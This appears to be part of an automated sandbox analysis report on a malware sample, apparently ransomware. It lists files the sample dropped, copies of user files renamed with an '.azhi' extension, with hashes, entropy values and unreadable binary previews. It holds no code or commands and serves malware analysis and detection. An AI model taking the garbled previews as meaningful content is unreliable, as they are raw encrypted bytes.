SHA-512:	E0105EE9B2FD8589BF0DCBA8F690B8DFCAAEBCB93D5F4CDF9CE483782AB5A031662BC053547D6571D48F76D5622EC1B97D53D103C28D63A7FC8CA622368C55D7
Malicious:	false
Preview:	......]...jJ...W.K.G>.8\|.......ltA.2W2.K...K.Z...r.T..o...AG_..z8..Y....DM.a.au../.'y'..mi.3bu.._.n.p.........4.~..c..i...E..?...-...Dbr.Rs.....}.~.).!.....,...4...3..G.z...f.G....8....3.h..w.....U.w..WW...9@....,..Z.o;.......`d.z.3E......e%A!..J.i.-.....B..L...-....5...^.....Hd...".....\|.;.....\|..~-e...m6/wG h%[>..qR....}.\.....Kb.....!..8..P.A.te.Q..E..}.../$..z......A....t.&...p.$B..^?[V....#....MQ...9==.sGJqtR.....x.T........g..........n.Tu.e.{.d...........#f...e.E.~@.{........w....D..+..=.K/.....s...g...L..\|P....'......@.p+.U...8..z..R.....m..b................m.h>.&......wFX...jC!._..i.<s.=_xD...R.b....r..q'...kZ...w2c:.dd.9..B....:L.. .p..Tc..T.....%.e\..].?......f.n........j..S...X.....-...E.B!\|O......P.B...D.B..T.j........g:.,...4./..Qq...W...`./y..C..u.i~.b.W8....)...,.`l...\.9i...:]J`...M..`......n.V.........c..Q.Sg........"..T..a.~..jm..}.+/X.4.>E9A.yN`-......U.2.1...l..s.\|].G3...9...R.j?....Pc..0p.+....4Y..2....+9..

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705367729876051
Encrypted:	false
SSDEEP:	3072:hS0uqR4tcFaXzJmsX6xJLoGq9KC5gstOeEzmgMxege3maM:hL5RClmsX6L07/2so9XMEgaG
MD5:	2F74C2BDAD8EB240147B19DA36E2B04D
SHA1:	0AD46321EF719D3F6B77398AB35B716F2911ECC1
SHA-256:	44A8F0ECFCE06D4AA3BB26B169376B1D17E8C07B61F6FFD0C8EE4C86DDE0122E
SHA-512:	4C747D3CADEFE627AD5AD196D9128FC3B12A7AEC8AF48F4C43063A0E58EBF6DFB9E141F7EEAF4D6C4AF8C98484F76D894FA1F7FF4985A35D46FD009043AFF89E
Malicious:	false
Preview:	......2.n.M..1S..w.\|.Pia...s...$....r....Y0mR}..}(...&.Z._.p.C.....L..r.....6I.J............<......aw...,./).,hS...R.\w.mMs...+..Z......9.u.5P...I.3...q.=..QF...O.'.Q....^.j..?q.H.. .......N.1....#.,.......r...d..pu!Y.........3..........%c...R..uj...CX...v..f......T7....0.}.]......#.".c2.w...B.P...FV..1......~.s iI..%.......Q...Y...9.....n.d-.5.....Y........a..]..\....z...B.......\|.6.P.....2.Y9........j.]{.....O(...=...pA]YdN...bt....T...\|.../........}......a(.."<....=.z..._..?2.A.~.l.Jgq.......W4..i-.A..,....P..:...._Q8....+.....?...g.y.]...!..'q..hN........'.GQOH.}C.._.......#......f}].....aF.oX.k.ll.l...n...\.....x.\.]-....b..f6.ya.....\m......^N...S..p.....+.4]8.......R.4..._..S.!d7.=7<.X.i.e..*.U.Z..dn.....x......3..<~w...z.o.&s.O..1..6....If..+J.9S..R.TO.......!h%..."..].j.........m7..~..../C.v..0..".. ...n.....qxI.'.b.....`.;...30...AM.4.&....4.;@.p.y...b7.P..,.no0.Z.t.G..1.....i.61..1Q..K..a. (m.F..n.h^.q..F.

C:\Users\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705964525292805
Encrypted:	false
SSDEEP:	3072:IJyPI3HwQ4sUMxofvuHFbShAZ1MV9pHbyGrW0B7KojX:IwP3Q4sUZ+HhaUGThdj
MD5:	DEA6D8B03EC300C4FE9EB9C943402E97
SHA1:	391B1B019608AD71DC2113D4FEE39A4516226F96
SHA-256:	F7B0105FBFFA6BC2DC537B3C424027B4E037233C5C21BE314391F4B030E72B9F
SHA-512:	8D5FC0E9F5297C2B41559D69DCDD916A141D86406A906EA13FF53C7296C2FE2E6623D26F7802140E07C07F98000B311B8B79D8776E1FDAC03E67F225ECACF8BD
Malicious:	false
Preview:	....._.E.u.."\.......).!.1.P..ofkW}o{..Xu....LuMR..O...:aD..k":...F>.>Ie.qpE .....ZC..V.H..GDd...?.._.P...Y.?.T.....t.H..O..l......J..K{..20.v..+W..X..@u.^cf..18.j.."}q....L.....e.v..0@W.......v.#vl.j..!...=58.S..^.6.........;(Q....`..=.1..=..j.p.0.9'..X..{....B.=s)X.Q..3.k(...?R..b..%G};.f.]..f.X...& `. Z....' ..K.w.....^i..5{....zi...s.%]5.<....G.%.?..u.>^\|hR.E..........`.b.jH...8..C...a. cA[...1.....+..f.W.^)..0.;......../..-z,]U..$.>.+.;.5..V.i...x....`...MQ.?..\.I...dQ0K..g..L...'..sVf..^....d..].G.~Z .......0..Cy....F.....J.....G.rH..s6 #}/..I^q..?.&..u...P.....'..g..uu..@.]1\.y..Q.7._f.....O..R.K?._...3.G..."w..-.v.....HY..q....VTF\[.m.AN=Hh\|.".r...s..D.%.u./..........d.......m.......I..;3.?..W....V.V........4..B.X.%w.KOeV.c.....y..D.\}..0.L6....".~CP).2.i=.....x....8p... .c.9..[.r..*d>&...mS.......0.k.\|.[.c...........a.....v.4!.u!.;,U.8.O.V..0.W.8.1.^0...w}A..C..Bn....1c.V....n.........K.H .........&.yT.....w..M.,.9.x..UZy(_..h./jE..

C:\Users\user\Local Settings\Comms\UnistoreDB\store.jfm.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989097797936759
Encrypted:	false
SSDEEP:	384:G4Tol6zOgsuyEEME1N2tomkCEOt/j37nv1GEmyXR3/F:G/l6zbsREEpmkOLBkE/F
MD5:	948D0E3C8260DBB68EE7ADE00DF4A2D6
SHA1:	93EA1CDC7BD3E6879F8F7B928F144B59B2E6FD5E
SHA-256:	D9B0088F618EFED3338B34303E102704D863D38C46B9CA82FC9EADE8DE5D8055
SHA-512:	B507EA778685831D1698C547DD40B6557BCB3393DAE0722116A47D0362A89B5C890252B7DCD7EED3AACF5AC5419BA42F6541644A9B8FA1A88FF54F6C7199666F
Malicious:	false
Preview:	.....6nR .y.lpJBT...l1..Yf.....{..[0t.^.'.C.lh....L...A..I.j..VG#..K.d.\|...m...,......i..S.6s.[5@i.\.D.c...!..D. S...$....(fB..z.g..H../..!x..=..?..3....`.tG......A........x,..)...........tEct..Z......5..9.F...5..T.a....D;.......g.i.Ym_..D..r.ja/...IM'&`.e....%....}..=Sd... z.W=......IH.V..+...r..[....0.BG036.~.K....8...1`w.{E#..)1f.o....T{j.z.je!..._g..@.=..A.h-.a..K.S...$....Z..Z7...=k...kI........t..{.Be ..>gB...L.y{..L..XME(....ft;..IQ.......9....Ux"..i.X./hRc.W.....y.3.Lp%.kc.>...... .jj.o.8....>)b..tpA.j..)K..eL.........mj..e.........!......C..'.CYU'1....[nD<!U...v.....r.x......rxf..(.#.1.......&x..K.t...8w"i..D..oU.B.]I..{.s.R.d.r....~...V.7..6NQ..O....].g.S.V..a.<...;.....WP.7.......dn$^?.L..f.............uL...[@.G..^.&...V$....r..F'vX..DB..J.....\...i..5(c.pC..P......+..6[.R ..L@S..-.@...u@...+.#......\.......1.h..2.\.(.,...@.dY.l...%/*.J.4......;.._X.t.4.....hA..X.=.:m.s5...l..P.....)...1..~....>.6+V5X.#yP.Q....&8.

C:\Users\user\Local Settings\Comms\UnistoreDB\store.vol.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.756821941424411
Encrypted:	false
SSDEEP:	6144:jIOcBbbicjRT+Mho5A/M+Ha6wklF6Sa+d+gOrOuWxWk3m+cun4CfYjUfSUXivOY1:Qb2mT+MSA0b6jFXR3b0l
MD5:	678839E2772675D0E75B598C2FFEAF46
SHA1:	C8E0CA7D370DB285E145B2FEE7DE6C2293B01DDE
SHA-256:	36F6218B3FBC2864F1FBB993840BBCF0A14B13EE14441E6B43BD2628B658E0AE
SHA-512:	61FA7242CA3E07F4733F9866EC894A1DD024005E2CE4E3813028BF028BC9B5B384438AA144192551147A959467C00CB0039AF361961D47555483ACF6CC99F9DD
Malicious:	false
Preview:	......^;.]F.U.....L....B..x..................j........1=...i.vp..._..,.,h.A...B?.&J\rfMW....T...q.S...Y.....R....;.....[.8..,..;M....].d/.6fU.q....=..z=5...o....z.a...5W.@T.$.uk...B.W..V^...Qsd.......[..yj.Ir..n....g..8@....\.j.].....sr.S"1.O...!\f.Y.....C.]9sj7.Sa.h..A...)..{........L..Ah.<.b...t_9....3..%.M...e..q..N....t....#.....e....i.[..C....O$..Z#...E.`G..u.. .+.m.B6....}n.aP+.3b.......G..o..-..4I>..G.]..Z.Z.....[...,r.M.....g.0..7..}.....YFZ]p.bJeb.gx~u..\.3......c..;5..<......&.Xp!. ... S.]~..xF...Y....$_.....;.z.0hL...r./...(%..Z....}..sa{W.\...M~.!..d=..s....\|h{..E....&..g...D...i.r......P...s..W.&...}Ow...Y..0.#.b...&..].%B..qc*.[.B.5..J3..Y?.$...,..o..$...R..0..i+..h.d^...J.ae6.u..0..6...j.}...(.....kL.ul.%..p.r<.#.B......i8'y.Z.].....q...j3~..N.....9S@.G...J...]j0.m..7.0..>%.[.c&....;.'X..Xb..8k..L..x..>..D...y..9S^_AR...V..l..`.........P..o$m..i...w.1...5.....v.5r>h..9..!s7d..nCd..N.@\|+.M.R5;.z...W.B.L..".#..

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995940610873638
Encrypted:	true
SSDEEP:	768:Nh02Pam6YUxlY2tNusxT9OWN3HQZvqjDEk0q411ri7hRbR54F0mOBZcF68o:3xPa0wlbrT9T3HQZ8LEMhRr20mOBso
MD5:	4DDCECBE2F09B47EDAB37F166C9BF3F6
SHA1:	38A98B0721B500B8F855998A6537F97C09D9089E
SHA-256:	D9076B4446D87DB5E1B49D320B5C03E7B9908747E10D1EFA8BDE150B16984590
SHA-512:	F5EC0079CD4D3574A70D335566D02C9845B2D1AB9E059E5E436937853AB92500A599F03C45C1D09F3EA6BA53D58DB0AA7E3E276DC2DC5C6ADD691A43F77BF06B
Malicious:	true
Preview:	SQLit.&.N.b.\..0.y.....{.e..Y....'...qI..S.h..oy.....f....K(...6h.v..8....(a.n.f?{.hh\|h;.w...&s.M..&S"....".........N.uG..I...reD..}.v.t..x..(.f...T...s5..z}.....5.@...a\A-D.....%zD..W.H..`..........O(.`%.aS.r.`.S.....&Qa...3...L..t.>..L....L..Ra.^..6....\|.........q........o...G...^E.Q...4n...P..........mKpBX.7....MGE.hB..'.b..t....m...A.IX..=.....;{..V6....&^^g.....4R......._.-......\.......$_...=...U.Z...m.9..`V_.<._...U@..Tp.h.@.;.W{lf...h:#.....p.M.].`......tGN.8......G..a...X.RFO.X.g.>.....;^.Uy..o....q..9.I8.....L\|.....`(\.&bQ$ex.:_.5S_.....p..{.%..o.g...]v...S....^.u.....e..Z."......P.@,Q..~!..&........ym.....h.R-.i.3..FW..@.3..J...$.5.c.?[..q.$....K..C.>\V..S.C6.x..Q.{.N..T6..M..i..T.GH.9......_.U......#N.J.v9...d....C.....N.5.w.....Wk..F.t...I..m.M9...o..J?.....r......1E.<..../.&..s... .e....S2...-2~)T.k....4...l23.........8($A&.0..&Q......X.1_.%.mD.'...`^..=..~<.?-.!..ZGcK..;.&.vC..d..1k.d....<......0...\|z.E.....N..nF.NsS"..@.7..7..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brndlog.txt.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.972893290183527
Encrypted:	false
SSDEEP:	192:VB7KOMG+jXUnBFC/i57GTPEjpwT9ttODGeIhL+SwnqO:nvBFC/i5GMlwT9ttODGeIha
MD5:	ECBEF1C127E278096425FF6F022C5FFD
SHA1:	1A12691CAF58C53FB4580B3DB93495D33BA7FD9C
SHA-256:	1A4375FB268B5CC802B55B47E8217C5C623E04FA6E8BFD1FDD7016C779BC7DC4
SHA-512:	BC45B062C7E8BDCAAD9AC90F5D8EF7EE54356DF11329DF1E9E164BA85A15B15A0D05B6879D972F6EEC24BE1FAE65009CE35D912B5167D3FBD47024E52C8ABE43
Malicious:	false
Preview:	10/03;.<D..v..Qa.AD...]:..\|S..2q4...b....._..a...}k..W..;U.e1....&Qy.z..a.$8.>qG.Z.> ,ru...8.'{.v.../.,u ....BIq.....?.9.....{.J........W..)5Z13.2.n..._.i.q.Xe....#%..-7.....E..;:...c~.5..u.n .8P..4&Y...hGjA........H.....o.k..b.....h.W....B2.#]R.......{...f......m..P..+\|j....9^+.....Q....:....\..8$.5..V<..WHp...s..].Y..>..?...q.D...'8..Hz8.3]...D...a',..gA..T.a.........B{.c...o....&......3.:.g{....F.."..^..Is........]G..KlIyTf...........#..i...@.Z.q_.....(?.g.g......b..;7y.R.d.e.I...VQ....~^(.-....n.1..&..X.w@\|..2..9b...@j...GE....{...,.-...T1....E....'....w..nk..M\..C...c...3p>k...i$.2.:.9..........c.\..K~5Px..b..ym....&$..;XM.Q=J...V..........Kw..cD`uL..i......(..........@R!.(./.\|r.v....1._.....9M..\.......O^a....9...qe.S.[.V.1P....A+p[.j1.2...].G34[.D..{.?5[......H.T#<~Q.m..\...\|*...s.2(.M..5..R..4.....V..WT...R.S,UY.Y.....{~a.#.4.B.X.....=.z.q+........`#_.....%.9....!.H.S.... ,.#_-:../../..<..X..QR9..oA.."..8"...?..q.#@;\|H,..L...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.743120920996709
Encrypted:	false
SSDEEP:	24:Qx6Fmgpt9hk5fJcvQKUJY/5U7aq0Cd6gs3NyTbD:llVyYha0CdkwHD
MD5:	ACD6ACC946B4CE8080C9057C5BF6A7B5
SHA1:	B7B598ECE90C479A3B80BC34B278A49FDEFA86C2
SHA-256:	2320D8BB3649727AE16B700CDD52DDBD25FA8A0CD115DBF50DFF79C67632D90C
SHA-512:	795E96E646C0F5C84E4B2D485282279203E60062C63410DE1B6676B3B831379349BECF35FE4E2B0138373E6810C055558006DFE4B4B3F9BE4FBA70EC428D1C87
Malicious:	false
Preview:	..1.0.D......H.&\.:S5$y....o....Vu.p.i#.9.bU...OS...[..$.P...t....1q..O.Y...\xd.bVFtk@....e7..F\|..?...r..-....Y{.v.`.W........0.....#d.M.T:.l..}9.e.3..9X....t7-. .a.>..sB..\u.......?.c@4...P\......W...w..."\......rA.=.1...l.f0..x)a.I..`/Gb{.#s;L+n3>=....}O..e.t.P..U.J=......BI@R....^LH....\|........?..j.s.Z....@7.........WR..0..V.d.y......'.2V .e...f'..5..#2..#....{$.-.....r8.?..?....{(=./.U...Fp...:x....\|.6N....5un..=.(Lj......?hQr/.Aa...j.`Y..;:..I......j...z..egT/ 2.Tt..v.."....I...Y3.I>0b5....3&...Y..W2 ...T.g~....bZ..k.I.....w.......n.g~..g.LP...!K.~.^1.8Z...!ue.j.y..,.G...{.]OS...Ss.......O..i..r..{7..?.5:..X.p:y..D....y....~Wq..D..-..-........Z.0.v...]..u...-m..aA.".4......wA.y...5.9A.e......{.RA../.9^..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.889710846935959
Encrypted:	false
SSDEEP:	48:+7jB55bXbhWNrQwm35vI2+IxKrBDyALmpD:gjBTn0NrQwqFxKlrs
MD5:	70218C3F4CCC17118498457E2B06FC5E
SHA1:	7406710564621C7A8252550058DD070B221DF106
SHA-256:	46A938D310B8A589102FA47ED8EB97298B303650643A0931FE6DFF7ADB5493D5
SHA-512:	054BEDB384DA138C8BB7D1858621196EBBFA58C282A5C7FA3CFE5E3F1D58A245AA83018C2B9F3E68B271FA4EFEC9A5920F061009E3B3AFADA5C95A009E20AEDA
Malicious:	false
Preview:	..1.0.!=!......7..qFA...o...-h6.")...h...A[qc@..h.,.~..Sh...&..G..).V.0...Z..F...".\|........9...GEr.._..j".~.......6...c..m.......`6.:..R?.u`G.....o)..-.k.{..N-x.\|~..9..K...7.S.U..+..-.N..'...sJZ8............b......Y...:.>.~ ....p..W..Vg..o....z&..K......;EN.xK._]...%X2U..+g.g-.....`.5......0;...(.H....#.tegcE/DNI..#.vu....Z.o..J{.@..&3@z\| ..D........T..D..#.....xL.)(f.E0.;..=QV.>K.4.....?j....j.nAd`...=.y#.....)..ST.\R....7@.i..N.-.%..qs....9..8R.8b.\|B...}<.V...ML...Y.T...Q.h.R.\....%i"H...%.P.y.!..{......kAB.Q.B.....m..7....5.&n$...h....`......&^.5....>m....$ec..Db~#....i.....g..l.q.1.9.e.Z....p9a#J.....0..b!'.l\.........-..2.b@.;B.f..y.4M...u....>.ZM........>+.S.Y\|...8.H.#...u.^k....u. .=/_nR-.T...ky.,..n...M.I..^...6q.2....tt.I9vThe/F.B.\|.sp..#0.5.....G....,.....m......-.G-.._....64.`.l.7s...+...=..6.a!2........T.;..\|1.(...S.v...B.B.$.Z...r..<!.ij.}...q.yE......k.]......H.k."..~.rz.H...r..@..B..M..$.Y(j.$c.@..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100114v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	794
Entropy (8bit):	7.71222518416181
Encrypted:	false
SSDEEP:	12:HprIooEk+zjV1Fl1cVbvIMK0nr9aiu2B6vP1xAP/8jF2X1rhRxggsXrDSL3CYYcq:9oEk+tXzclCN2B2/k8mhRxgZPSLgbD
MD5:	9C5AAAFA811A58681DC3B053EB8B6354
SHA1:	589A94E55703631CEB34A9FAB76348A6110406EF
SHA-256:	7358E14482E829AFD5BB05925569D52AAF6A6889BCB0127FF1046AFA32CC050D
SHA-512:	F19720F6A03483353E4EA4E853957CFFB4F182E28703358D7FFCD0FBE81BD6BC9E479E417986135288C528BF9A5A8E1B18A6A9B4A879D553D023C8F140D53663
Malicious:	false
Preview:	<?xml\......ED..;P.....[]g...D.\...xb..#.....?...i.F..-./p.iB... .o....>h9.T./]..c.vN.er.O.....m..Dz.\.T.m..OA..l4....=5.v...Z^.i....1.......0.q...v.a#.H...iu.}L.g.....'..D...o_.!i...c......p.f...B..k...........<5dq...=YH..v..L.>.c\i....a.Fs..(2+.@...8.=-\|...p.. ...4.4Z-WI........l&Y...q._...W....ml..h.....4W...Q...@.....{.l....,.G..;.tn[...k..>z..G=x.b9..zZ......s.......&-w.a.;...=..2....eu.6...../=s../.B.G.p..\.N.Wd..>M.$CPQ...qP......4{]..um.x.2."......J......o..=..@.S.n..\|..v6...4'.+.....l:c....wO...g7.....n...e.#i#.}..N.+.>.4........z:..Y.o....J..K.......9....Q.U!A............4..j.R.1.I....M...Y.$.=W=.Wzi$..jS...:)<!&/.......?lV....V-nPE'D9,....no..-.....t.b....j.R...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100115v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.676171421179547
Encrypted:	false
SSDEEP:	24:DZIlboJr8gGbP9yzsHoYusUEPr72UJsvbD:+a8gGD9oGB6UYD
MD5:	3688292BBF1BCB056DEF0CB4131A0F39
SHA1:	CAD5018B96318BF3DBC1FE1A625C96602773DA56
SHA-256:	4B96179F8FA013EFEDE6FC2A7B93E7CE9C35AB1B31514BA363224A89D2A072C7
SHA-512:	99824E3FA5E8267464C66E9F497575F7BB9D1ED61A49FB7B8047339A5154A3B710C6669BBB77BA9780D5F597F5E20291B6C08897AABF9ADDAD9342819A973C1E
Malicious:	false
Preview:	<?xml?hd3..~..<.jjT..tGz...5..A./......HH;..Y6.h.....S......=.......V...c.....S-.....J5.(....L.?JT..&B..q!m...0.5....Q..%..g..r..#.....j5..p.o.Nx....J...s..Z.H.2.C.......v.p......k. .......G\d.X9.JCV2m.}..G.t.D..[.....eZ..V+ ....LL..i...\|.7.%v.~....M.t..7Z..I...Z--.D..:....e.@9.\|.v:.e..8KD3..x.,p.C.h..E.r...}..j..C.D...O_Z.B.....,..l.._Ymq.s9...\..A...I.*.2.....q.3_..p.]iO..N....j.xan.,..;.....[..J.O.g.....06.>..(.X.-c.....W.../...^A.T{]H-......L.eH+w..X.Ey+H<.~(..,..#.==...#vgD~.}d....w.K;..T.gzD.^....E..#RYG.{._.r.Q...........O~.......K2L.......)....7.R.p;l...=..e2l^.I-.P..Q....9.R.;i.5.....<...GB....8$.X......Q./.OuG....TO.3J....5....HO.........+F.v...{W..R2.R....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100116v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	795
Entropy (8bit):	7.681281580506792
Encrypted:	false
SSDEEP:	12:TCa+IZddyHy95I+BhPDN7WOwpfgBciDpRgBe9893nLdpBTYow0obnAY3H175lYcq:7+IZua5I+/paDfg9Rg4qXJpOLJp52bD
MD5:	B6E118B5543F7E023285806A153BFD6B
SHA1:	9904C2EF99D24C7F8BB7483FBB6C6B8B6DABE288
SHA-256:	330591E2ADAE2CDCC5FD76D60189D5D57B3D40B9181CC7C7AF654E723B31063E
SHA-512:	DB14F5A87E6B3485B48979F2563BEDF863C9CB865D435ADB689F3C49ECD1B0B41FA9CF64523E7F575B23D4DDB8145A6BC0ADCE44A5AE83ABBF96FEC1EEA2829B
Malicious:	false
Preview:	<?xml.jl?..5.9uk......#.I$.]2R.....).>..,..I.!..W..+.W..:?...I.s7..k...#...Z.E...l.0O.)....f..K..VQ7X....ps.........%.$.(...L..@...K..C.P/:.\.../^\|5.u.P..c.BJ;.+(P.k..sgC(.R..U..xU..3)..dF.E.....^.f.A#...1L...\|#..9#..&\.,......_.......,...4MdpX.1g`...1Z.nEb./i..-T,.vxP....g.c3.W.....~>..Z8.....}fC....n....,l.U........e..N.7..c%'.`iE....".......#zBt..}.u<YC..PtZfa.....'..+...w.$.....+...o..L...4....$.y....../.e........xuf~..f.f..`.....l.C..[..'..0.j...g...j.V4..j.'.0..}.......m...@..."...K.m.......s.`..L..[.?VK..=r.W..b..p .W2.W3;......;u#..U.Gw]8...:.W+DHB..I..P.P...w..>.3.......<.6.L..x..Q..e0......`..[..=.....,}.z.L..d......E~@..5r..{g..."..I>.,..`Z_.G...<..$s.DV~..#H..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100117v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	869
Entropy (8bit):	7.771666649479375
Encrypted:	false
SSDEEP:	24:YswckWwR6CqWK3NTS+GUU5OO6yDVZxrRUKQHn9bD:Qctw/qP3Ne+blyp7SKsn9D
MD5:	5AC975122CA2328BC69B813EC90DA696
SHA1:	301EE338B0A836D847B5AA235B9A30789ECF37CF
SHA-256:	B3E51B8FDB5BE829857E725887D27FF1480B194826669F9BAC9CC6387315A139
SHA-512:	0EB0FAA71DF9E482E5B35E6B335A6B7F97D56B2D1A5E1BDBE3459E1F3A236D48174F6F8F65770579AF001DAC0F3213159A558A9288757C6693E3DA068F398613
Malicious:	false
Preview:	<?xmle....o.k..S.....F,.@..~O.x.}o.!..P...p.....;.H.[^8..2d.m..@g.\...wU...m...M.S.............$0...dT...{..>AZ@m.4..!zG.&..]]....m.....5.s.)...p....%..=6a...Pr._y..H3.v..D..9=....g>...6.6k......Xu.e.>.y.'.#7W......z....Q.ZSP..7;0g.....7.wJ.$...9E..>}v..%Zw....v.H.Ou\.}:VQ.(d.".....`..i+5.._.. .X..ss....j1Q..:...2S..#._...../..K.s!FB-......x ......rw .......4..........Fe.OCTt.}2.MQ../.....Cp...Yz..0..`..M.r\#eI...U.Df..pS....:.\.x..ESc..t?.....F.FH8...v...z..+..l..?V.i....Lw..g..T...QtBs..8......A.$...#..`.LQ.G.....r$....B.F...% ....L[..D.P.....F9.Z~~......!.J$P.^$.\|....a.A<.....-E.,.!..i....p\.{NK.:..Yk...N...";.L.-z.W..I..b.7/.qm.u,H.D..].d8.......H....E-..~.m..o^U..T^U..P.W....[...U..:..$;X8......./Bj..6.).F.w.4.r.Mw.C...\|...iR..J....p..p"1GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100118v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	7.806765785008893
Encrypted:	false
SSDEEP:	24:YTRjNbJY3LCL0/ywA5UusGAy/NqMLSiTqu/n2ss1lx17bD:qRjlus/SusoN5F2sul3/D
MD5:	80E422786A6E57011A9007038D1284E2
SHA1:	D4C9D35A051645287C299FBB0F290E09572B72DF
SHA-256:	97C3721F8DAE1735C2F48B0276D088E4C9A9A4E01B5A3552E002578DB3BA236E
SHA-512:	CF0C185DCBDC3CA204542B18087D10F5FB181E1690666C64592B0CBA4309085092FCB59DCCC512532FD8655B2D8FE7FFAFEBBACCFC221BA6E0EED74F52115065
Malicious:	false
Preview:	<?xml....83..=....9...H.. .qk...:.."'8...........^..,.>....T/.q..'.H..}.A......_.J.0..8t..{.0....j..I}y.~..E...-.w-.r..P!$...+h._.....i>.k...`.J..{V_.V...Z..x.P..]..%R..-(....L.@.L.R.Kn.......Q..: .J.inCE.7t...6.eT.T.`........=..<+[.r.8..?v......h<.U.7.L...I..... h.{.=....e}....@e..H.8.iM5."..%.4....P.[^..0.....5.4...0...b.uaL...q......}P;....mW.}......H..9./.\l.`8.,x{&.....U.....t42^Yv5k.....M..ZcL...k.6..a4+...ZZ.9..nyv. ..%........(...Da..Z......Ch..3HO.+....h..I....W.Ap.....O..6-O.....].<..5.S}....0...i..].N7.Y}......t.{Z.....H..u).d$.^..@.5\|...#{3v.x..m.@.t...s.....Ls~..o..D..K../.2......../\|3.k#.)R.X.........c..dgD....c.Y..w._.[w.\|'.y......a...\|.4}C..B7)..............h...J...Y.....YgHi.b.3.T.l......Mr.'..$"....Q.&.8h..+.o.r....P..:..w..('F..M.../Kdr'J.[L!.~.....;.}{.5rs.s...F.JR..t.....%..`}p..`.)....#.Q3....y.4....].<.A..K.......S..../..b..*.....^fpg.<....<.h.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100119v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	7.869892206748486
Encrypted:	false
SSDEEP:	24:wKyonvlea+DWq1EOk4Nr6FuBD4aEZfhrr+BlGcfohem1INwmPqrAGmW8Oxh1bD:u04dzqm9DhE3CB1qTINwmi0GPjlD
MD5:	C394C22A6B31DCD2075299FD1DB2C1A2
SHA1:	32697EF3FDABD5F40E4FF429F7BD4D79C21B009C
SHA-256:	092EBF6E59FFDAFBC5122A7E410D5A1016E36BA8C5AEB9073E43D702FBF8C36B
SHA-512:	530FA5EAAD4083D41F8F6860C14CC5C5963C2B4AF540D1C23509A158C9DDA06A2A9ABB305167B5C53F779864E9333916A4E92ED7DF4ED6158CEE2626D4EDA0C3
Malicious:	false
